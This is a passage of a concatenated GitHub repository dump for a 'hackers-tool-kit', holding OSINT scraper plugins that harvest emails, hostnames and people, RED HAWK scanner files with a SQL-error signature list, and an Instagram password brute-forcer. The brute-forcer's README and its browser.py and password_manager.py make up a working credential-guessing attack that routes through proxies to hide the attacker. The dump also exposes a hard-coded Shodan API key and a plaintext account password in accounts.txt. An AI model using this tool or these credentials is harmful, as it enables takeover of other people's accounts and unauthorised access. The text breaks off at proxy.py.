get_people(self): 35 | rawres = myparser.parser(self.totalresults, self.word) 36 | return rawres.people_linkedin() 37 | 38 | def process(self): 39 | while (self.counter < self.limit): 40 | self.do_search() 41 | self.counter += 100 42 | print "\tSearching " + str(self.counter) + " results.." 43 | -------------------------------------------------------------------------------- /plugins/discovery/linkedinsearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/linkedinsearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/netcraft.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | import sys 4 | import myparser 5 | import re 6 | 7 | 8 | class search_netcraft: 9 | 10 | def __init__(self, word): 11 | self.word = word.replace(' ', '%20') 12 | self.results = "" 13 | self.totalresults = "" 14 | self.server = "www.google.com" 15 | self.hostname = "www.google.com" 16 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100116 Firefox/3.7" 17 | self.quantity = "100" 18 | self.counter = 0 19 | 20 | def do_search(self): 21 | try: 22 | urly = "https://searchdns.netcraft.com/?restriction=site+ends+with&host=" + self.word 23 | except Exception, e: 24 | print e 25 | headers = { 26 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0'} 27 | try: 28 | r = requests.get(urly, headers=headers) 29 | except Exception, e: 30 | print e 31 | self.results = r.content 32 | self.totalresults += self.results 33 | 34 | def get_hostnames(self): 35 | rawres = myparser.parser(self.results, self.word) 36 | return rawres.hostnames() 37 | 38 | def process(self): 39 | self.do_search() 40 | print "\tSearching Netcraft results.." 41 | -------------------------------------------------------------------------------- /plugins/discovery/netcraft.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/netcraft.pyc -------------------------------------------------------------------------------- /plugins/discovery/pgpsearch.py: -------------------------------------------------------------------------------- 1 | import string 2 | import httplib 3 | import sys 4 | import myparser 5 | 6 | 7 | class search_pgp: 8 | 9 | def __init__(self, word): 10 | self.word = word 11 | self.results = "" 12 | self.server = "pgp.mit.edu" 13 | # self.server = "pgp.rediris.es:11371" Not working at the moment 14 | self.hostname = "pgp.mit.edu" 15 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 16 | 17 | def process(self): 18 | h = httplib.HTTP(self.server) 19 | h.putrequest('GET', "/pks/lookup?search=" + self.word + "&op=index") 20 | h.putheader('Host', self.hostname) 21 | h.putheader('User-agent', self.userAgent) 22 | h.endheaders() 23 | returncode, returnmsg, headers = h.getreply() 24 | print returncode 25 | print returnmsg 26 | self.results = h.getfile().read() 27 | 28 | def get_emails(self): 29 | rawres = myparser.parser(self.results, self.word) 30 | return rawres.emails() 31 | 32 | def get_hostnames(self): 33 | rawres = myparser.parser(self.results, self.word) 34 | return rawres.hostnames() 35 | -------------------------------------------------------------------------------- /plugins/discovery/pgpsearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/pgpsearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/shodan/__init__.py: -------------------------------------------------------------------------------- 1 | from api import WebAPI 2 | 3 | __version__ = "0.5.0" 4 | 5 | __all__ = ['WebAPI'] 6 | -------------------------------------------------------------------------------- /plugins/discovery/shodan/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/shodan/__init__.pyc -------------------------------------------------------------------------------- /plugins/discovery/shodan/api.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/shodan/api.pyc -------------------------------------------------------------------------------- /plugins/discovery/shodan/wps.py: -------------------------------------------------------------------------------- 1 | """ 2 | WiFi Positioning System 3 | 4 | Wrappers around the SkyHook and Google Locations APIs to resolve 5 | wireless routers' MAC addresses (BSSID) to physical locations. 6 | """ 7 | try: 8 | from json import dumps, loads 9 | except: 10 | from simplejson import dumps, loads 11 | from urllib2 import Request, urlopen 12 | from urllib import urlencode 13 | 14 | 15 | class Skyhook: 16 | 17 | """Not yet ready for production, use the GoogleLocation class instead.""" 18 | 19 | def __init__(self, username='api', realm='shodan'): 20 | self.username = username 21 | self.realm = realm 22 | self.url = 'https://api.skyhookwireless.com/wps2/location' 23 | 24 | def locate(self, mac): 25 | # Remove the ':' 26 | mac = mac.replace(':', '') 27 | print mac 28 | data = """ 29 | 30 | 31 | 32 | %s 33 | %s 34 | 35 | 36 | 37 | %s 38 | -50 39 | 40 | """ % (self.username, self.realm, mac) 41 | request = Request( 42 | url=self.url, 43 | data=data, 44 | headers={'Content-type': 'text/xml'}) 45 | response = urlopen(request) 46 | result = response.read() 47 | return result 48 | 49 | 50 | class GoogleLocation: 51 | 52 | def __init__(self): 53 | self.url = 'http://www.google.com/loc/json' 54 | 55 | def locate(self, mac): 56 | data = { 57 | 'version': '1.1.0', 58 | 'request_address': True, 59 | 'wifi_towers': [{ 60 | 'mac_address': mac, 61 | 'ssid': 'g', 62 | 'signal_strength': -72 63 | }] 64 | } 65 | response = urlopen(self.url, dumps(data)) 66 | data = response.read() 67 | return loads(data) 68 | -------------------------------------------------------------------------------- /plugins/discovery/shodansearch.py: -------------------------------------------------------------------------------- 1 | from shodan import WebAPI 2 | import sys 3 | 4 | 5 | class search_shodan(): 6 | 7 | def __init__(self, host): 8 | self.host = host 9 | self.key = "oCiMsgM6rQWqiTvPxFHYcExlZgg7wvTt" 10 | if self.key == "": 11 | print "You need an API key in order to use SHODAN database. You can get one here: http://www.shodanhq.com/" 12 | sys.exit() 13 | self.api = WebAPI(self.key) 14 | 15 | def run(self): 16 | try: 17 | host = self.api.host(self.host) 18 | return host['data'] 19 | except: 20 | print "SHODAN empty reply or error in the call" 21 | return "error" 22 | -------------------------------------------------------------------------------- /plugins/discovery/shodansearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/shodansearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/twittersearch.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | import sys 4 | import myparser 5 | import re 6 | 7 | 8 | class search_twitter: 9 | 10 | def __init__(self, word, limit): 11 | self.word = word.replace(' ', '%20') 12 | self.results = "" 13 | self.totalresults = "" 14 | self.server = "www.google.com" 15 | self.hostname = "www.google.com" 16 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100116 Firefox/3.7" 17 | self.quantity = "100" 18 | self.limit = int(limit) 19 | self.counter = 0 20 | 21 | def do_search(self): 22 | try: 23 | urly = "https://" + self.server + "/search?num=100&start=" + \ 24 | str(self.counter) + \ 25 | "&hl=en&meta=&q=site%3Atwitter.com%20intitle%3A%22on+Twitter%22%20" + self.word 26 | except Exception, e: 27 | print e 28 | headers = { 29 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0'} 30 | try: 31 | r = requests.get(urly, headers=headers) 32 | except Exception, e: 33 | print e 34 | self.results = r.content 35 | self.totalresults += self.results 36 | 37 | def get_people(self): 38 | rawres = myparser.parser(self.totalresults, self.word) 39 | return rawres.people_twitter() 40 | 41 | def process(self): 42 | while (self.counter < self.limit): 43 | self.do_search() 44 | self.counter += 100 45 | print "\tSearching " + str(self.counter) + " results.." 46 | -------------------------------------------------------------------------------- /plugins/discovery/twittersearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/twittersearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/virustotal.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | import sys 4 | import myparser 5 | import re 6 | 7 | 8 | class search_virustotal: 9 | 10 | def __init__(self, word): 11 | self.word = word.replace(' ', '%20') 12 | self.results = "" 13 | self.totalresults = "" 14 | self.server = "www.google.com" 15 | self.hostname = "www.google.com" 16 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100116 Firefox/3.7" 17 | self.quantity = "100" 18 | self.counter = 0 19 | 20 | def do_search(self): 21 | try: 22 | urly = "https://www.virustotal.com/en/domain/" + self.word + "/information/" 23 | except Exception, e: 24 | print e 25 | headers = { 26 | 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0'} 27 | try: 28 | r = requests.get(urly, headers=headers) 29 | except Exception, e: 30 | print e 31 | self.results = r.content 32 | self.totalresults += self.results 33 | 34 | def get_hostnames(self): 35 | rawres = myparser.parser(self.results, self.word) 36 | return rawres.hostnames() 37 | 38 | def process(self): 39 | self.do_search() 40 | print "\tSearching CRT.sh results.." 41 | -------------------------------------------------------------------------------- /plugins/discovery/virustotal.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/virustotal.pyc -------------------------------------------------------------------------------- /plugins/discovery/yahoosearch.py: -------------------------------------------------------------------------------- 1 | import httplib 2 | import myparser 3 | import time 4 | import sys 5 | 6 | 7 | class search_yahoo: 8 | 9 | def __init__(self, word, limit): 10 | self.word = word 11 | self.total_results = "" 12 | self.server = "search.yahoo.com" 13 | self.hostname = "search.yahoo.com" 14 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 15 | self.limit = limit 16 | self.counter = 0 17 | 18 | def do_search(self): 19 | h = httplib.HTTP(self.server) 20 | 21 | h.putrequest('GET', "/search?p=\"%40" + self.word 22 | + "\"&b=" + str(self.counter) + "&pz=10") 23 | h.putheader('Host', self.hostname) 24 | h.putheader('User-agent', self.userAgent) 25 | h.endheaders() 26 | returncode, returnmsg, headers = h.getreply() 27 | 28 | self.total_results += h.getfile().read() 29 | 30 | def process(self): 31 | while self.counter <= self.limit and self.counter <= 1000: 32 | self.do_search() 33 | time.sleep(1) 34 | 35 | print "\tSearching " + str(self.counter) + " results..." 36 | self.counter += 10 37 | 38 | def get_emails(self): 39 | rawres = myparser.parser(self.total_results, self.word) 40 | return rawres.emails() 41 | 42 | def get_hostnames(self): 43 | rawres = myparser.parser(self.total_results, self.word) 44 | return rawres.hostnames() 45 | -------------------------------------------------------------------------------- /plugins/discovery/yahoosearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/yahoosearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/yandexsearch.py: -------------------------------------------------------------------------------- 1 | import string 2 | import httplib 3 | import sys 4 | import myparser 5 | import re 6 | import time 7 | 8 | 9 | class search_yandex: 10 | 11 | def __init__(self, word, limit, start): 12 | self.word = word 13 | self.results = "" 14 | self.totalresults = "" 15 | self.server = "yandex.com" 16 | self.hostname = "yandex.com" 17 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 18 | self.limit = limit 19 | self.counter = start 20 | 21 | def do_search(self): 22 | h = httplib.HTTP(self.server) 23 | h.putrequest('GET', "/search?text=%40" + self.word + 24 | "&numdoc=50&lr=" + str(self.counter)) 25 | h.putheader('Host', self.hostname) 26 | h.putheader('User-agent', self.userAgent) 27 | h.endheaders() 28 | returncode, returnmsg, headers = h.getreply() 29 | self.results = h.getfile().read() 30 | self.totalresults += self.results 31 | print self.results 32 | 33 | def do_search_files(self, files): # TODO 34 | h = httplib.HTTP(self.server) 35 | h.putrequest('GET', "/search?text=%40" + self.word + 36 | "&numdoc=50&lr=" + str(self.counter)) 37 | h.putheader('Host', self.hostname) 38 | h.putheader('User-agent', self.userAgent) 39 | h.endheaders() 40 | returncode, returnmsg, headers = h.getreply() 41 | self.results = h.getfile().read() 42 | self.totalresults += self.results 43 | 44 | def check_next(self): 45 | renext = re.compile('topNextUrl') 46 | nextres = renext.findall(self.results) 47 | if nextres != []: 48 | nexty = "1" 49 | print str(self.counter) 50 | else: 51 | nexty = "0" 52 | return nexty 53 | 54 | def get_emails(self): 55 | rawres = myparser.parser(self.totalresults, self.word) 56 | return rawres.emails() 57 | 58 | def get_hostnames(self): 59 | rawres = myparser.parser(self.totalresults, self.word) 60 | return rawres.hostnames() 61 | 62 | def get_files(self): 63 | rawres = myparser.parser(self.totalresults, self.word) 64 | return rawres.fileurls(self.files) 65 | 66 | def process(self): 67 | while self.counter <= self.limit: 68 | self.do_search() 69 | self.counter += 50 70 | print "Searching " + str(self.counter) + " results..." 71 | 72 | def process_files(self, files): 73 | while self.counter < self.limit: 74 | self.do_search_files(files) 75 | time.sleep(0.3) 76 | self.counter += 50 77 | -------------------------------------------------------------------------------- /plugins/discovery/yandexsearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/yandexsearch.pyc -------------------------------------------------------------------------------- /plugins/lib/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ["markup", "graphs", "hostchecker"] 2 | -------------------------------------------------------------------------------- /plugins/lib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/lib/__init__.pyc -------------------------------------------------------------------------------- /plugins/lib/graphs.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/lib/graphs.pyc -------------------------------------------------------------------------------- /plugins/lib/hostchecker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | """ 4 | Created by laramies on 2008-08-21. 5 | """ 6 | 7 | import sys 8 | import socket 9 | 10 | 11 | class Checker(): 12 | 13 | def __init__(self, hosts): 14 | self.hosts = hosts 15 | self.realhosts = [] 16 | 17 | def check(self): 18 | for x in self.hosts: 19 | try: 20 | res = socket.gethostbyname(x) 21 | self.realhosts.append(res + ":" + x) 22 | except Exception as e: 23 | pass 24 | return self.realhosts 25 | -------------------------------------------------------------------------------- /plugins/lib/hostchecker.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/lib/hostchecker.pyc -------------------------------------------------------------------------------- /plugins/lib/htmlExport.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/lib/htmlExport.pyc -------------------------------------------------------------------------------- /plugins/lib/markup.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/lib/markup.pyc -------------------------------------------------------------------------------- /plugins/myparser.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/myparser.pyc -------------------------------------------------------------------------------- /plugins/tests/myparser_test.py: -------------------------------------------------------------------------------- 1 | # 2 | # Unit tests for myparser.py 3 | # 4 | import myparser 5 | 6 | import unittest 7 | 8 | 9 | class TestMyParser(unittest.TestCase): 10 | 11 | def test_emails(self): 12 | word = 'domain.com' 13 | results = '@domain.com***a@domain***banotherdomain.com***c@domain.com***d@sub.domain.com***' 14 | p = myparser.parser(results, word) 15 | emails = sorted(p.emails()) 16 | self.assertEquals(emails, ['c@domain.com', 'd@sub.domain.com']) 17 | 18 | 19 | if __name__ == '__main__': 20 | unittest.main() 21 | -------------------------------------------------------------------------------- /redhawk/config.php: -------------------------------------------------------------------------------- 1 | 16 | -------------------------------------------------------------------------------- /redhawk/crawl/readme.txt: -------------------------------------------------------------------------------- 1 | This is a Part of RED HAWK 2 | 3 | [ D E S C R I P T I O N ] 4 | 5 | This directory contains mainly 4 files namely 6 | 7 | - admin.ini 8 | - backup.ini 9 | - others.ini 10 | - readme.txt 11 | 12 | The first three files are mendetory for the RED HAWK scanner. These files have the list of files and directories which the scanner uses for crawling. 13 | 14 | [ U S A G E & W A R N I N G S ] 15 | 16 | • You can edit these files to put your own customized list. 17 | 18 | • The 3 different ini files have list of different kinds of files and directories. 19 | - admin.ini : contains a list of admin pages or admin directories. 20 | - backup.ini : contains a list of commonly known backup files. 21 | - others.ini : basically all the other lists. 22 | 23 | • Please NOTE the lists are separeted by COMMA "," any other type of separation used will cause error while crawling. 24 | -------------------------------------------------------------------------------- /redhawk/sqlerrors.ini: -------------------------------------------------------------------------------- 1 | You have an error in your SQL syntax,supplied argument is not a valid MySQL result resource,check the manual that corresponds to your MySQL,mysql_fetch_array(),supplied argument is not a valid MySQL,function fetch_row(),Microsoft OLE DB Provider for ODBC Drivers error 2 | -------------------------------------------------------------------------------- /redhawk/var.php: -------------------------------------------------------------------------------- 1 | 45 | -------------------------------------------------------------------------------- /redhawk/version.txt: -------------------------------------------------------------------------------- 1 | 2.0.0 2 | -------------------------------------------------------------------------------- /tools/Instagram/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Mohamed 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /tools/Instagram/README.md: -------------------------------------------------------------------------------- 1 | # Instagram Bruter 2 | 3 | [![Version](https://img.shields.io/badge/version-v2.1.1-blue.svg)]() 4 | [![Python](https://img.shields.io/badge/python-v3-blue.svg)]() 5 | [![Discord](https://img.shields.io/discord/532621311017484307.svg)](https://discord.gg/jvhJMeb) 6 | [![Donate](https://img.shields.io/badge/paypal-donate-yellow.svg)](https://www.paypal.me/Msheikh03) 7 |
8 | **Bitcoin wallet:** 3Kr5C9t9HWwPfqzSNXeBNyRvJWw9sSLeKy 9 |
10 | 11 | This program will brute force any Instagram account you send it its way. Just give it a target, a password list and a mode then press enter and forget about it. No need to worry about anonymity when using this program, its highest priority is your anonymity, it only attacks when your identity is hidden. 12 | 13 | # NOTICE 14 | 15 | This project is no longer maintained; use version 3.0.0 at [here](https://github.com/Pure-L0G1C/Insta) 16 | 17 | ### Requirements 18 | 19 | - Python _v3.x.x_ 20 | - ~~Kali Linux 2.0~~ 21 | - ~~TOR~~ 22 | 23 | ### Install Dependencies 24 | 25 | ``` 26 | pip3 install -r requirements.txt 27 | ``` 28 | 29 | ### Help 30 | 31 | ``` 32 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py -h 33 | usage: instagram.py [-h] [-m MODE] username wordlist 34 | 35 | positional arguments: 36 | username email or username 37 | wordlist password list 38 | 39 | optional arguments: 40 | -h, --help show this help message and exit 41 | -m MODE, --mode MODE modes: 0 => 32 bots; 1 => 16 bots; 2 => 8 bots; 3 => 4 bots 42 | ``` 43 | 44 | ### Usage 45 | 46 | ``` 47 | python3 instagram.py -m 48 | ``` 49 | 50 | ### Bots(Threads) 51 | 52 | - 4 bots: 64 passwords at a time 53 | - 8 bots: 128 passwords at a time 54 | - 16 bots: 256 passwords at a time 55 | - 32 bots: 512 passwords at a time 56 | 57 | ### Modes 58 | 59 | - 0: 32 bots 60 | - 1: 16 bots 61 | - 2: 8 bots 62 | - 3: 4 bots 63 | 64 | ### Chill mode 65 | 66 | This mode uses only 4 bots, or 64 passwords at a time. 67 | 68 | ``` 69 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py Sami09.1 pass.lst -m 3 70 | ``` 71 | 72 | ### Moderate mode 1 73 | 74 | This mode uses 8 bots, or 128 passwords at a time. 75 | 76 | ``` 77 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py Sami09.1 pass.lst -m 2 78 | ``` 79 | 80 | ### Moderate mode 2 81 | 82 | This mode uses 16 bots, or 256 passwords at a time. 83 | 84 | ``` 85 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py Sami09.1 pass.lst -m 1 86 | ``` 87 | 88 | ### Savage mode 89 | 90 | This mode uses 32 bots, or 512 passwords at a time. 91 | 92 | ``` 93 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py Sami09.1 pass.lst -m 0 94 | ``` 95 | 96 | ### If you don't specify a mode, then mode is set to 2 97 | 98 | ### Run 99 | 100 | ``` 101 | [-] Wordlist: pass.lst 102 | [-] Username: Sami09.1 103 | [-] Password: 272 104 | [-] Complete: 45.51% 105 | [-] Attempts: 228 106 | [-] Browsers: 273 107 | [-] Exists: True 108 | ``` 109 | 110 | ### Stop 111 | 112 | ``` 113 | [-] Wordlist: pass.lst 114 | [-] Username: Sami09.1 115 | [-] Password: Sami123 116 | [-] Complete: 62.67% 117 | [-] Attempts: 314 118 | [-] Browsers: 185 119 | [-] Exists: True 120 | 121 | [!] Password Found 122 | [+] Username: Sami09.1 123 | [+] Password: Sami123 124 | ``` 125 | -------------------------------------------------------------------------------- /tools/Instagram/accounts.txt: -------------------------------------------------------------------------------- 1 | Username: Tuf_Unkn0Wn 2 | Password: 1NST4gr4mUN_KN0WNbaliP4SS 3 | 4 | Username: Tuf_Unkn0Wn 5 | Password: 1NST4gr4mUN_KN0WNbaliP4SS 6 | 7 | -------------------------------------------------------------------------------- /tools/Instagram/database/session.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/Instagram/database/session.db -------------------------------------------------------------------------------- /tools/Instagram/lib/__init__.py: -------------------------------------------------------------------------------- 1 | # Date: 12/30/2018 2 | # Author: Mohamed 3 | -------------------------------------------------------------------------------- /tools/Instagram/lib/bad_proxies.py: -------------------------------------------------------------------------------- 1 | # Date: 12/29/2018 2 | # Author: Mohamed 3 | # Description: Manages bad proxies 4 | 5 | from .const import max_bad_proxies 6 | 7 | 8 | class BadProxies(object): 9 | 10 | def __init__(self): 11 | self.proxies = [] 12 | 13 | def __contains__(self, proxy): 14 | for _proxy in self.proxies: 15 | if _proxy.ip == proxy.ip and _proxy.port == proxy.port: 16 | return True 17 | return False 18 | 19 | def append(self, proxy): 20 | if len(self.proxies) >= max_bad_proxies: 21 | self.proxies.pop(0) 22 | 23 | self.proxies.append(proxy) 24 | 25 | -------------------------------------------------------------------------------- /tools/Instagram/lib/browser.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Browser 4 | 5 | from time import time 6 | from random import choice 7 | from requests import Session 8 | from .const import browser_data, response_codes, fetch_time, user_agents, debug 9 | 10 | 11 | class Browser(object): 12 | 13 | account_exists = None 14 | 15 | def __init__(self, username, password, proxy): 16 | self.proxy = proxy 17 | self.is_found = False 18 | self.is_active = True 19 | self.is_locked = False 20 | self.start_time = None 21 | self.browser = self.br() 22 | self.username = username 23 | self.password = password 24 | self.is_attempted = False 25 | 26 | def br(self): 27 | header = browser_data['header'] 28 | header['user-agent'] = choice(user_agents) 29 | 30 | session = Session() 31 | session.headers.update(header) 32 | session.proxies.update(self.proxy.addr) 33 | return session 34 | 35 | def get_token(self): 36 | token = None 37 | try: 38 | token = self.browser.get( 39 | browser_data['home_url'], timeout=fetch_time).cookies.get_dict()['csrftoken'] 40 | 41 | self.browser.headers.update({ 42 | 'cookie': 'mid=XLzTtAALAAEb-Sz-JUGbyLphzGmc; csrftoken={}; rur={}'.format( 43 | token, self.browser.cookies.get_dict()['rur'] 44 | ) 45 | }) 46 | except: 47 | pass 48 | finally: 49 | return token 50 | 51 | def post_data(self): 52 | response = None 53 | data = {browser_data['username_field']: self.username, 54 | browser_data['password_field']: self.password} 55 | 56 | try: 57 | response = self.browser.post( 58 | browser_data['login_url'], data=data, timeout=fetch_time).json() 59 | except: 60 | pass 61 | finally: 62 | return response 63 | 64 | def check_exists(self, response): 65 | if 'user' in response: 66 | Browser.account_exists = response['user'] 67 | 68 | def check_response(self, response): 69 | if 'authenticated' in response: 70 | if response['authenticated']: 71 | return response_codes['succeed'] 72 | 73 | if 'message' in response: 74 | if response['message'] == 'checkpoint_required': 75 | return response_codes['succeed'] 76 | 77 | if response['status'] == 'fail': 78 | return response_codes['locked'] 79 | 80 | if 'errors' in response: 81 | return response_codes['locked'] 82 | 83 | return response_codes['failed'] 84 | 85 | def authenicate(self): 86 | response = self.post_data() 87 | resp = {'attempted': False, 'accessed': False, 'locked': False} 88 | 89 | if debug: 90 | print('pass: {} => {}'.format(self.password, response)) 91 | 92 | if response: 93 | resp['attempted'] = True 94 | resp_code = self.check_response(response) 95 | 96 | if resp_code == response_codes['locked']: 97 | resp['locked'] = True 98 | 99 | if resp_code == response_codes['succeed']: 100 | resp['accessed'] = True 101 | 102 | if Browser.account_exists == None: 103 | self.check_exists(response) 104 | 105 | return resp 106 | 107 | def attempt(self): 108 | self.start_time = time() 109 | token = self.get_token() 110 | 111 | if token: 112 | self.browser.headers.update({'x-csrftoken': token}) 113 | resp = self.authenicate() 114 | 115 | if resp['attempted']: 116 | self.is_attempted = True 117 | 118 | if not resp['locked']: 119 | if resp['accessed']: 120 | self.is_found = True 121 | else: 122 | self.is_locked = True 123 | self.close() 124 | 125 | def close(self): 126 | self.browser.close() 127 | self.is_active = False 128 | -------------------------------------------------------------------------------- /tools/Instagram/lib/password_manager.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Password manager 4 | 5 | from time import sleep 6 | from hashlib import sha256 7 | from sys import version_info 8 | from lib.display import Display 9 | from lib.session import Session 10 | 11 | 12 | class PasswordManager(object): 13 | 14 | def __init__(self, username, passlist_path, max_passwords, display): 15 | self.passlist = [] 16 | self.session = None 17 | self.resume = False 18 | self.is_alive = True 19 | self.is_read = False 20 | self.display = display 21 | self.fingerprint = None 22 | self.username = username 23 | self.passwords_removed = 0 24 | self.passlist_path = passlist_path 25 | self.max_passwords = max_passwords 26 | Display.total_lines = self.count_lines() 27 | 28 | @property 29 | def list_size(self): 30 | return len(self.passlist) 31 | 32 | def list_add(self, password): 33 | if not password in self.passlist: 34 | self.passlist.append(password) 35 | 36 | def list_remove(self, password): 37 | if password in self.passlist: 38 | self.attempts += 1 39 | self.passlist.pop(self.passlist.index(password)) 40 | self.session.write(self.attempts, self.passlist) 41 | 42 | def count_lines(self): 43 | lines = 0 44 | 45 | fingerprint = sha256( 46 | self.username.lower().strip().encode() 47 | ).hexdigest().encode() 48 | 49 | self.display.info('Reading wordlist ...') 50 | 51 | with open(self.passlist_path, 'rb') as f: 52 | 53 | for data in f: 54 | lines += 1 55 | chunk = sha256(data).hexdigest().encode() 56 | fingerprint = sha256(fingerprint + chunk).hexdigest().encode() 57 | 58 | self.fingerprint = fingerprint 59 | self.session = Session(self.fingerprint) 60 | 61 | return lines + 1 62 | 63 | def read(self): 64 | attempts = 0 65 | with open(self.passlist_path, 'rt', encoding='utf-8') as passlist: 66 | 67 | for password in passlist: 68 | if not self.is_alive: 69 | break 70 | 71 | if self.resume: 72 | self.attempts, self.passlist = self.session.read() 73 | 74 | if attempts < (self.attempts + self.list_size): 75 | attempts += 1 76 | continue 77 | else: 78 | self.resume = False 79 | 80 | password = password.replace('\n', '').replace( 81 | '\r', '').replace('\t', '') 82 | 83 | if self.list_size < self.max_passwords: 84 | self.list_add(password) 85 | else: 86 | while self.list_size >= self.max_passwords and self.is_alive: 87 | sleep(0.5) 88 | 89 | if self.is_alive: 90 | self.list_add(password) 91 | self.session.write(self.attempts, self.passlist) 92 | 93 | if self.is_alive: 94 | self.is_read = True 95 | 96 | @property 97 | def attempts(self): 98 | return self.passwords_removed 99 | 100 | @attempts.setter 101 | def attempts(self, n): 102 | self.passwords_removed = n 103 | 104 | def start(self): 105 | self.read() 106 | 107 | def stop(self): 108 | self.is_alive = False 109 | -------------------------------------------------------------------------------- /tools/Instagram/lib/proxy.py: -------------------------------------------------------------------------------- 